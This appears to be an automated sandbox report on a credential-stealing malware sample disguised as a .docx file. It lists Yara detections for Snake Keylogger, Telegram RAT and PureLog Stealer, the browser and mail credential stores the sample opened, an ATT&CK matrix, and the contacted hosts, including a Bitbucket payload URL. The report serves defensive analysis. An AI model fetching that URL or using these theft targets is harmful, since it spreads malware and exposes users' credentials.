Source: Yara match	File source: 4.2.xzeheenC.pif.1e2f5570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1f670000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.xzeheenC.pif.2ed4e980.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.342cc896.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.36aa0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.30ca0f08.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.330f0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.3558e790.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.370d0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31d75570.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1d270000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1ce5c896.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.36aa0f08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.342cc896.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e32e790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31dae790.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e2f5570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.36aa0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.3092b98e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.30ca0f08.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.xzeheenC.pif.2ed4e980.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.35555570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.342cb98e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31d75570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.35555570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.35556478.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 00000004.00000002.3468357631.000000001D423000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D393000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D37F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.000000003461A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 2140, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 2140, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\Libraries\xzeheenC.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\Libraries\xzeheenC.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\Public\Libraries\xzeheenC.pif	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\Public\Libraries\xzeheenC.pif	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\Public\Libraries\xzeheenC.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 2140, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 13.2.xzeheenC.pif.31d76478.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1d270f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.3092b98e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e32e790.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31dae790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.3092c896.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.370d0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e2f6478.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31d76478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.3558e790.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.342cb98e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.30ca0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.330f0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.30ca0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1ce5b98e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.3092c896.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.35556478.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.36aa0f08.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1d270000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e2f6478.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e2f5570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1f670000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.xzeheenC.pif.2ed4e980.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.342cc896.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.36aa0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.30ca0f08.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.330f0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.3558e790.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.370d0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31d75570.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1d270000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1ce5c896.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.36aa0f08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.342cc896.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e32e790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31dae790.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1e2f5570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.36aa0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.3092b98e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.30ca0f08.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.xzeheenC.pif.2ed4e980.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.35555570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.342cb98e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.xzeheenC.pif.31d75570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.35555570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xzeheenC.pif.35556478.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 00000004.00000002.3468357631.000000001D423000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D393000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D37F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.000000003461A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 2140, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 6656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xzeheenC.pif PID: 2140, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	311 Process Injection	3 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	341 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	41 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	311 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
D.G Governor Istek,Docx.exe	53%	ReversingLabs	Win32.Trojan.ModiLoader
D.G Governor Istek,Docx.exe	100%	Avira	HEUR/AGEN.1326111

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\Cneehezx.PIF	100%	Avira	HEUR/AGEN.1326111
C:\Users\Public\Libraries\Cneehezx.PIF	53%	ReversingLabs	Win32.Trojan.ModiLoader
C:\Users\Public\Libraries\xzeheenC.pif	3%	ReversingLabs

Source	Detection	Scanner	Label
http://checkip.dyndns.P	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0C	0%	Avira URL Cloud	safe
http://www.pmail.com0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	52.217.32.148	true	false	high
bitbucket.org	185.166.143.49	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bitbucket.org/ntim1478/gpmaw/downloads/202_Cneehezxuzj	false		high
http://checkip.dyndns.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	D.G Governor Istek,Docx.exe, 00000000.00000003.2227349733.000000000082D000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227422959.000000000082B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.telegram.org	xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D423000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	false		high
